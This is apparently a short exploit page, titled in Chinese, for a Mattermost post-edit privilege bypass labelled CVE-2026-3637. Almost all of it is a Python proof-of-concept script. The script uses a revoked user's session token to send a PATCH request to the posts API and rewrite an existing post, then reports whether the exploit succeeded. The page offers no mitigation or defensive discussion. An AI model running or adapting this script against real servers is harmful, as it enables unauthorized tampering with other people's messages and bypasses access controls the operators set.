CVE-2026-3637 Mattermost权限绕过漏洞

import requests # Exploit Title: Mattermost Post Edit Privilege Bypass (CVE-2026-3637) # Description: Edit a post after 'create_post' permission has been revoked. TARGET_URL = "https://mattermost.example.com" POST_ID = "ORIGINAL_POST_ID" AUTH_TOKEN = "YOUR_AUTH_TOKEN" # User's valid session token after permission revocation def exploit(): headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Payload to update the post payload = { "message": "This post has been modified via API bypass." } # Sending the PATCH request to update the post response = requests.patch(f"{TARGET_URL}/api/v4/posts/{POST_ID}", headers=headers, json=payload) if response.status_code == 200: print("[+] Exploit successful! Post modified.") print(f"[+] Response: {response.json()}") else: print("[-] Exploit failed.") print(f"[-] Status Code: {response.status_code}") print(f"[-] Response: {response.text}") if __name__ == "__main__": exploit()